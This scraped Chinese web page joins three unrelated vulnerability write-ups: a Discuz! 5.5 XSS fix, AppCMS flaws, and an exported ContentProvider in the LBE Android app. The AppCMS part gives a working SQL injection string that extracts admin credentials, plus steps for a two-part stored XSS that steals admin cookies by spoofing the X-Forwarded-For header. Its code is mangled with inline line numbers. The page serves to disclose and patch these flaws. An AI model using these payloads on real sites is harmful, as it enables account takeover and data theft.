一 : Discuz论坛程序出现漏洞与解决方法
今天不少论坛被爆出现漏洞问题:Discuz! 5.5 跨站问题修补 [ For 0324 ]
由于论坛在处理 Discuz! 代码时,没有严格过滤用户输入内容,可导致部分用户利用这一 BUG 发布恶意代码。
观看这种帖子的时候,恶意代码会对论坛里使用 IE 浏览器的会员造成威胁,对 FireFox 以及其他浏览器用户无效。
为避免您网站的会员受到此类恶意代码的骚扰,请您根据以下方法进行修正:
修补方法A :手工修改
打开 include/discuzcode.func.php
找到
复制内容到剪贴板
代码:
以下为引用的内容: "/[align=([^[<]+?)]/i", "/[float=([^[<]+?)]/i" |
修改为
复制内容到剪贴板
代码:
以下为引用的内容: "/[align=(left|center|right)]/i", "/[float=(left|right)]/i" |
问题修补完成。
另外一种是利用 所见即所得的形式 增加跳转代码的行为防止的方法
可以在读取数据进行dz转码时可以过滤掉“expression” 今天不少论坛被爆出现漏洞问题:Discuz! 5.5 跨站问题修补 [ For 0324 ]
二 : AppCMS注入及评论xss漏洞
0x02 SQL注入原理(www.61k.com)
下载最新版本appcms_1.3.890。
查看index.php,有一段似乎是限制了搜索词的代码:
if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) {
die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
}
所以当我们在首页搜索含有’的关键词时会有提示:
但我们往前看,却发现了一段输出ajax的代码,这时候并没有过滤……所以注入由此产生:
//ajax请求联想关键字2. if (trim($_GET['q']) != '' && !isset($_GET['tpl'])) {3. $str = '';4. $sql = "SELECT app_id,app_title,app_down FROM " . TB_PREFIX . "app_list WHERE app_title LIKE '%" . trim($_GET['q']) . "%' LIMIT 15";5. $app_list = $dbm ->query($sql);6. if (count($app_list['list']) > 0) {7. foreach ($app_list['list'] as $k => $v){8. $app_list['list'][$k]['app_title'] = helper :: utf8_substr($v['app_title'], 0, 20);9. }10. echo json_encode($app_list['list']);11. exit;12. } else {13. exit;14. }15. }
index.php?q=xxoo'union select 1,uname,upass from appcms_admin_list where uid like '
/**2. * 获取客户端IP地址3. */4. public static function getip() {5. $onlineip = '';6. if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {7. $onlineip = getenv('HTTP_CLIENT_IP');8. } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {9. $onlineip = getenv('HTTP_X_FORWARDED_FOR');10. } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {11. $onlineip = getenv('REMOTE_ADDR');12. } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {13. $onlineip = $_SERVER['REMOTE_ADDR'];14. }15. return $onlineip;16. }
发表的时候抓包,修改X-FORWARDED-FOR,写半个闭合的script:
然后刷新页面后再次写一条留言,内容就无所谓了,仍然是抓包,写前半个script标签:
这时任务就算完成了,实战的话就坐等接收cookie和后台地址了。
我们可以来到管理员页面 - 查看评论,可以看到窗口已经弹了:
我们看看源码:
看懂了吗,两次插入的内容正好闭合了,中间用注释符注释掉,然后第一次插入的评论内容就是我们的javascript代码,而这个代码的两遍用注释符再闭合掉就可以了。
我们运用两次留言成功构造了一个xss,绕过了最大长度为20的限制。
0x04 LFIif (substr($tpl, strlen($tpl)-4, 4) == '.php') {2. $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;3. } else {4. $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';5. } 6. if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);7. require(dirname(__FILE__) . $tmp_file);扩展:xss注入漏洞 / phpcms注入漏洞 / phpcms v9 注入漏洞
扩展:xss注入漏洞 / phpcms注入漏洞 / phpcms v9 注入漏洞
三 : LBE任意号码拦截漏洞及解决方案
LBE将号码的黑白名单以及关键字拦截的数据库以ContentProvider方式导出给第三方程序使用,而没有对调用方进行验证,导致拦截功能被滥用。
1、 通过AndroidMainfest.xml将"com.lbe.security.phone"显式导出,并且没有添加任何权限限制。
<provider android:authorities="com.lbe.security.phone" android:enabled="true" android:exported="true" android:name="com.lbe.security.service.phone.provider.TelephonyProvider" android:process=":service" />
2、 导出的ContentProvider提供一些URI访问。
content://com.lbe.security.phone/blacklist (拦截黑名单管理)
content://com.lbe.security.phone/whitelist (白名单管理)
content://com.lbe.security.phone/keyword (拦截的关键词)
content://com.lbe.security.phone/marker (未知号码标记)
content://com.lbe.security.phone/baselist (基础的数据管理,用来存储规则)
content://com.lbe.security.phone/blocklog (拦截日志)
sms
mms
call
content://com.lbe.security.phone/ipwhitelist
content://com.lbe.security.phone/yellow_page_cache
content://com.lbe.security.phone/user_permit_number
3、 在LBE开启骚扰拦截功能的情况下,第三方程序可以通过上述的URI对手机的通讯,短信进行管理控制。
漏洞威胁
1、黑名单的管理,使第三方程序在不需要任何权限的情况下对电话或者短信进行拦截,白名单则运行任何电话打入或者短信接收,使原有的拦截功能起不到实质的作用。
2、与现有恶意代码比较,现有支付类木马都需要通过监听短信来获取支付验证码,这样就要求恶意代码具有短信的相关权限,很容易被主动防御类软件拦截;但是lbe提供的功能则可以使恶意代码在不需要任何权限的情况下,获取支付验证码。
3、短信控制类木马,同样在不需要任何权限的情况下,通过关键词过滤功能对指令短信进行过滤,达到比较隐秘的控制功能。
1) 修改黑名单库,如图1,apply_to是拦截类型(短信,电话)
图2 黑名单插入成功
2) 获取拦截记录,读取拦截到的信息,图3中的”lbe blacklist test ”为发送到拦截号码的短信内容
图3 获取拦截记录
3) 清除拦截log,抹除痕迹
4) 请他数据库内容的验证方式与黑名单一样
5) 因为数据库采用明文存储,如果系统已经root,拦截功能也会很容易被攻破
解决方案:(www.61k.com)
1、 如果功能不需要提供给第三方程序使用,则不要导出
2、 敏感操作需要添加对调用方的验证
3、 对敏感操作进行细粒度的权限控制
扩展:lbe安全大师骚扰拦截 / lbe骚扰拦截 / lbe拦截电话
本文标题:xss漏洞解决方案-Discuz论坛程序出现漏洞与解决方法61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1